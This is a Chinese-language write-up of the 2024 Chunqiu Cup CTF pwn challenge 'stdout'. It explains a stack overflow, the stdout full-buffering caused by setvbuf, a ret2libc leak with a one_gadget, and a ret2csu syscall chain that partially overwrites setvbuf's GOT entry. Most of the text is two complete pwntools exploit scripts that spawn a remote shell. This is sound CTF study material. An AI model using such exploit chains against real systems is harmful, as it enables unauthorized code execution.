2024春秋杯 stdout
考点:文件,setvbuf缓冲区,ret2syscall,ret2csu
题目给了libc文件。
main函数和vlun函数存在明显的栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
init(argc, argv, envp);
puts("where is my stdout???");
read(0, buf, 0x60uLL);
return 0;
}
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x200uLL);
}
解1
直接从main跳到vuln,然后写了got地址、libc地址,ret2libc收工。
然后老是泄露不出来。。。
原因是setvbuf设置了stdout全缓冲:
int init()
{
setvbuf(stdout, 0LL, 0, 0LL);
return setvbuf(stdin, 0LL, 2, 0LL);
}
setvbuf函数,它有三种mode:
全缓冲:(_IOFBF)0,缓冲区满 或 调用fflush() 后输出缓冲区内容。
行缓冲:(_IOLBF)1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容。
无缓冲:(_IONBF)2,直接输出。
也就是说,要想使缓冲区的got地址打印出来,有以下思路:
- 重新设置setvbuf,但这不知道管不管用,没法尝试因为这需要4个参数,没法控制rdx和rcx
- 调用fflush(stdout),但是需要泄露libc地址,死循环,这里做不到
- 挤爆缓冲区,自然就会把内容打印出来了
这里只有第三种思路是可行的。
但是实际操作的时候,本地可以getshell,但是远程不行,寄!
另外,system("/bin/sh")不行,但是one_gadget可以。
Exp
from pwn import *
import sys
if len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
sh = remote(ip,port)
else:
sh = process("./pwn")
elf = ELF("./pwn")
# libc = elf.libc
libc = ELF("./libc-2.31.so")
# libc = ELF("./libc.so.6")
# context(os="linux",arch="amd64",log_level="debug")
#gdb.attach(sh)
offset1 = 0x50+8
vuln = 0x40125D
offset2 = 0x20+8
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
ret = 0x000000000040101a # ret
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
extend = elf.symbols["extend"]
hello = 0x402032
just = 0x402008
sh.send(b"a"*offset1 + p64(vuln))
sleep(1)
payload = b'b'*(offset2) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(hello) + p64(puts_plt)+ p64(vuln) + p64(vuln)
sh.send(payload)
recv_data = sh.recv(timeout=1)
print("----",len(recv_data))
i = 0
# 用while或者for都行
# while len(recv_data) == 0:
# payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
# # sleep(1)
# sh.send(payload)
# print(i)
# wait = 1
# if i == 29:
# wait = 3
# recv_data = sh.recv(numb=48,timeout=wait)
# i = 1 + i
for i in range(0):
payload = b'c'*(offset2) + p64(pop_rdi) + p64(just) + p64(puts_plt) + p64(vuln)
sleep(1)
sh.send(payload)
print(i)
recv_data = sh.recv()
# print(sh.recv())
puts_addr = u64(recv_data.split(b"hello")[0].split(b'\n')[1].ljust(8,b"\x00"))
print(recv_data.split(b"hello")[0])
print(hex(puts_addr))
pause()
# pause()
# puts_addr = u64(sh.recvuntil(b"\x7f")[-6:])
# print(puts_addr)
puts_offset = libc.symbols["puts"]
libc_base = puts_addr - puts_offset
system = libc_base + libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh\x00")) + libc_base
print("bin_sh--",hex(bin_sh)," system--",hex(system))
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
pop_r15_r12 = 0x00000000004013cc # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# payload = b'a'*(offset2) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret)+ p64(system)
payload = b'a'*offset2 + p64(pop_r15_r12) + p64(0) * 4 + p64(one_gadget[0] + libc_base)
#payload = flat([b'a'*offset2,pop_r15_r12,0,0,0,0,one_gadget[0]+libc_base])
sh.send(payload)
sh.interactive()
有一篇类似的题目writeup
https://mp.weixin.qq.com/s/hBzkylk58OoXWlQ7e8ipcQ
解2
控制读入binsh,修改setvbuf低位为syscall,通过read修改,然后read读入赋给rax为0x3b,csu跳到syscall执行
写入/bin/sh不难,写到bss段即可
修改setvbuf低位为syscall,这个是相邻函数存在着syscall
read函数的返回值是读入数据的长度,存放在rax。
通过ret2csu执行syscall
csu1
=============================================================
.text:00000000004013CA 5B pop rbx
.text:00000000004013CB 5D pop rbp
.text:00000000004013CC 41 5C pop r12
.text:00000000004013CE 41 5D pop r13
.text:00000000004013D0 41 5E pop r14
.text:00000000004013D2 41 5F pop r15
.text:00000000004013D4 C3 retn
csu2
==============================================================
.text:00000000004013B0 4C 89 F2 mov rdx, r14
.text:00000000004013B3 4C 89 EE mov rsi, r13
.text:00000000004013B6 44 89 E7 mov edi, r12d
.text:00000000004013B9 41 FF 14 DF call qword ptr [r15+rbx*8]
先执行csu1,然后通过ret跳转执行csu2,最后call [r15]
rbx:取0,方便后面call的时候控制地址
rbp:没啥用,取0
r12:mov给rdi-->mov edi, r12d,rdi高位都是0
r13:传给rsi
r14:传给rdx
r15:放入的值应该是存放了要执行函数地址的指针,如放入某个got地址,其指向的则是函数的真实地址,call的时候就回去执行该函数
本地不行,远程可以,6!
Exp
from pwn import *
import sys
if len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
sh = remote(ip,port)
else:
sh = process("./pwn")
libc = ELF("./libc-2.31.so")
elf = ELF("./pwn")
context(os="linux",arch="amd64",log_level="debug")
# gdb.attach(sh,"b *0x401348")
offset1 = 0x50+8
offset2 = 0x20+8
bss = 0x404070 + 0x100
read_plt = elf.plt["read"]
setvbuf_got = elf.got["setvbuf"]
pop_rsi_r15 = 0x00000000004013d1 # pop rsi ; pop r15 ; ret
pop_rdi = 0x00000000004013d3 # pop rdi ; ret
csu1 = 0x4013CA
csu2 = 0x4013B0
vuln = 0x40125D
payload1 = b"a"*offset1 + p64(vuln)
sh.send(payload1)
# call read
payload2 = b"a"*offset2 + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(vuln)
payload2 = payload2.ljust(0x200,b"\x00") # vuln--->read(0, buf, 0x200uLL)
sh.send(payload2)
sleep(1)
# write "/bin/sh\x00" to bss
sh.send(b"/bin/sh\x00")
payload3 = b"a"*offset2+p64(pop_rsi_r15)+p64(setvbuf_got)+p64(0)+p64(read_plt)
payload3 += p64(pop_rsi_r15)+p64(bss+0x200)+p64(0)+p64(read_plt)
payload3 += p64(csu1)+p64(0)*1+p64(1)+p64(bss)+p64(0)*2+p64(setvbuf_got)+p64(csu2)
# 0--rbx,bss--r12d--edi,0--r13--rsi,0--r14--rdx,setvbuf_got--r15--call [r15+0*8]
# payload3 += payload3.ljust(0x200,b"\x00")
pause()
sh.send(payload3)
sleep(1)
# change setvbuf to syscall
sh.send(b"\xc9")
pause()
sh.send(b"c"*0x3b)
# read return length of inputed data,rax
# rax==>59 sys_execve rdi==>const char *filename,rsi==>const char *const argv[],rsi==>const char *const envp[]
sh.interactive()
'''
Gadgets information
============================================================
0x00000000004013cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013d0 : pop r14 ; pop r15 ; ret
0x00000000004013d2 : pop r15 ; ret
0x00000000004013cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004013cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011fd : pop rbp ; ret
0x00000000004013d3 : pop rdi ; ret
0x00000000004013d1 : pop rsi ; pop r15 ; ret
0x00000000004013cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
csu1
=============================================================
.text:00000000004013CA 5B pop rbx
.text:00000000004013CB 5D pop rbp
.text:00000000004013CC 41 5C pop r12
.text:00000000004013CE 41 5D pop r13
.text:00000000004013D0 41 5E pop r14
.text:00000000004013D2 41 5F pop r15
.text:00000000004013D4 C3 retn
csu2
==============================================================
.text:00000000004013B0 4C 89 F2 mov rdx, r14
.text:00000000004013B3 4C 89 EE mov rsi, r13
.text:00000000004013B6 44 89 E7 mov edi, r12d
.text:00000000004013B9 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
'''
payload2,payload3调用read的时候没有控制rdi的值,因为这里一直是0,标准输入
参考:
https://www.cnblogs.com/imarch22/p/18288087#stdout
https://www.mrskye.cn/archives/eedef7bd/
https://xkaneiki.github.io/2020/10/23/unexploitable/
https://cloud.tencent.com/developer/article/2063693